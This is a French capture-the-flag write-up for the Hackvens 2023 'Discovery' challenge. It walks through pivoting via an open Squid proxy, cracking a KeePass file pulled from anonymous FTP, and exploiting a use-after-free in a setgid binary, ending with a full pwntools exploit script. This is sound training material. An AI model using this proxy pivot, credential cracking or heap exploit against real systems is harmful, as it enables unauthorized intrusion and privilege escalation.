[Hackvens 2023][Write Up – Pwn] Discovery
Enoncé
52.47.125.205
Reconnaissance / Obtention d’un shell
Cette fois-ci, une IP nous est donnée.
Après un scan, on remarque que le port 3128 est ouvert.
Il s’agit d’un service squid-http qui agit comme un proxy web.
![Un squid proxy, tout ce qu'il y a de plus classique Un squid proxy, tout ce qu'il y a de plus classique](https://www.login-securite.com/wp-content/uploads/2023/11/discovery1.png)
Un squid proxy, tout ce qu’il y a de plus classique
Après avoir ajouté « http 52.47.125.205 3128 » dans le fichier « /etc/proxychains.conf », il est possible d’accéder au réseau interne au travers de ce proxy, et de relancer le scan, sur 127.0.0.1, en ajoutant proxychains devant nos commandes.
On remarque alors 3 ports ouverts:
- 21
- 22
- 3128
Le FTP autorise l’authentification anonyme, et nous permet d’obtenir le fichier db, qui est un fichier keepass
![file db file db](https://www.login-securite.com/wp-content/uploads/2023/11/discovery2.png)
file db
En tentant un bruteforce avec rockyou, on découvre le mot de passe: ‘pescado’.
![Pétage de hash en règle Pétage de hash en règle](https://www.login-securite.com/wp-content/uploads/2023/11/discovery3.png)
Pétage de hash en règle
Ce qui nous permet d’obtenir les identifiants ssh:
boissonchaude:npjYSaFE0ysf5pjMW960
![Le contenu du keepass Le contenu du keepass](https://www.login-securite.com/wp-content/uploads/2023/11/discovery4.png)
Le contenu du keepass
![Allez boom, un shell user Allez boom, un shell user](https://www.login-securite.com/wp-content/uploads/2023/11/discovery5.png)
Allez boom, un shell user
Elévation de privilèges
Dans le home de boissonchaude, on remarque un binaire setguid:
![Oh, un binaire à pwn ! Oh, un binaire à pwn !](https://www.login-securite.com/wp-content/uploads/2023/11/discovery6.png)
Oh, un binaire à pwn !
Le binaire « program » qui est fourni est un exécutable linux x86-64.
![file program file program](https://www.login-securite.com/wp-content/uploads/2023/11/discovery7.png)
file program
En termes de protections:
- Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
- No canary: Pas de protections contre les buffers overflow
- NX: La stack n’est pas exécutable
- PIE: Les adresses du programme seront aléatoires (à un offset près)
![checksec program checksec program](https://www.login-securite.com/wp-content/uploads/2023/11/discovery8.png)
checksec program
Reverse
Il s’agit d’un système de messagerie, qui propose plusieurs choix:
![lancement du binaire lancement du binaire](https://www.login-securite.com/wp-content/uploads/2023/11/discovery9.png)
lancement du binaire
- Create a new message
![Create a new message Create a new message](https://www.login-securite.com/wp-content/uploads/2023/11/discovery10.png)
Create a new message
Le programme lit 0x100 bytes depuis l’entrée stdin (entrée utilisateur), alloue un buffer « message » de la taille lue avec malloc, puis les y copie.
L’adresse du buffer est stockée dans rbp-0x10.
- Delete unsent message
![Delete unseen message Delete unseen message](https://www.login-securite.com/wp-content/uploads/2023/11/discovery11.png)
Delete unseen message
Le programme libère le buffer « message ». L’adresse du buffer n’est pas remise à 0.
- Register your username
![Register your username Register your username](https://www.login-securite.com/wp-content/uploads/2023/11/discovery12.png)
Register your username
Le programme vérifie l’adresse pointée par rbp-8. Il s’agit d’un buffer associé au username.
S’il est déjà alloué, il le libère.
Ensuite, il vérifie que le nom d’utilisateur n’est pas admin.
![Vérification du username Vérification du username](https://www.login-securite.com/wp-content/uploads/2023/11/discovery13.png)
Vérification du username
Si c’est bien le cas, il alloue une structure S de taille 0x10 (16).
Ensuite, le programme alloue une nouvelle structure de la taille du username, et l’y copie avec strcpy.
Les premiers 8 bytes de S contiennent un pointeur vers le username, et les 2 bytes d’après contiennent un 0. Au vu de la fonction « User status », ces deux bytes correspondent à l’état du compte (0 => inactif, 1=> actif).
Enfin, l’adresse de username nous est affichée avec un printf.
- Delete Username
![Delete username Delete username](https://www.login-securite.com/wp-content/uploads/2023/11/discovery14.png)
Delete username
Le programme vérifie que l’adresse pointée par rbp-8 (le buffer username) n’est pas vide. Si elle est allouée, il va libérer l’adresse de la chaine de caractère du username, puis la structure username. L’adresse du buffer n’est pas remise à 0.
- Read the flag
![Read the flag Read the flag](https://www.login-securite.com/wp-content/uploads/2023/11/discovery15.png)
Read the flag
Le programme vérifie que le username est bien admin. Si oui, il affiche le contenu du fichier ‘/flag.txt’.
- User status
![User flag User flag](https://www.login-securite.com/wp-content/uploads/2023/11/discovery16.png)
User flag
Le programme affiche le username enregistré, ainsi que son activité.
- Exit
Quitte le programme. On a pas vraiment besoin d’un screen là 🙂
La vulnérabilité
Le problème ici, est une vulnérabilité Use After Free. En effet, il n’y a pas de vérification sur le fait que le username soit alloué où non. En effet, le pointeur n’est jamais remis à 0.
Si génère une structure username, et qu’on la supprime ensuite, le pointeur vers cette structure reste présent, sans que le bloc ne soit alloué. Ainsi, il est possible d’écraser la structure associée en la réallouant, puis en y inscrivant les données voulues.
![Libération du username, magnifiquement fait via Paint.Net :D Libération du username, magnifiquement fait via Paint.Net :D](https://www.login-securite.com/wp-content/uploads/2023/11/discovery17.png)
Libération du username, magnifiquement fait via Paint.Net 😀
- Sur l’état 1, register username a été appelé et le username a été alloué (zone rouge).
- Sur l’état 2, on delete username, mais le pointeur de username reste toujours présent (il n’est pas vidé).
- Sur l’état 3, on alloue un message (zone jaune), qui va écraser la structure username, et qui nous permettra de créer un username personnalisé, en y inscrivant une adresse, puis un entier.
Exploitation
Voici une méthode pour devenir l’utilisateur admin:
On alloue un username, puis on le supprime. Supposons qu’il soit à l’adresse A. malloc a alloué puis libéré deux blocs de taille 0x20 (la structure username dans le bloc X , à l’adresse A, et la chaine de caractère dans le bloc Y, à l’adresse A+0x20).
Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A (car libérée en dernier). On pourra y écrire l’adresse du bloc Y (A+0x20), puis l’entier 1, pour mettre l’était à actif. En effet, on réécrase la structure username.
Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A+0x20 (car libérée en deuxième). On pourra y écrire admin, pour y forger un faux nom d’utilisateur.
Solve.py
from pwn import * #Connexion ssh à distance s = ssh(host='127.0.0.1', user='boissonchaude', password='npjYSaFE0ysf5pjMW960', port=22) r = s.run(['/home/boissonchaude/program']) #On alloue un username r.recvuntil(b'Your choice: ') print(r.sendline(b'3')) r.recvuntil(b'Your username: ') print(r.sendline(b'khacktus')) data = r.recvuntil(b'Your choice: ') addr = int(re.findall(b': ([0-9]*)\n', data)[0]) print("leaked addr: %08x"%addr) #On supprime le username r.sendline(b'4') print(r.recvuntil(b'Your choice: ')) #On alloue un message par dessus le username r.sendline(b'1') print(r.recvuntil(b'Your message: ')) r.send(p64(addr+0x20)+p64(1)) #On alloue un bloc message avec le username 'admin' print(r.recvuntil(b'Your choice: ')) r.sendline(b'1') print(r.recvuntil(b'Your message: ')) r.send(b'admin') print(r.recvuntil(b'Your choice: ')) r.interactive()
![L'exploit en image :) L'exploit en image :)](https://www.login-securite.com/wp-content/uploads/2023/11/discovery18.png)
L’exploit en image 🙂
FLAG
HACKVENS{pr0xY_@Nd_l34k5_f0R_Th3_w1N!!@#}
![](https://www.login-securite.com/wp-content/uploads/2021/11/Bdenneu.png)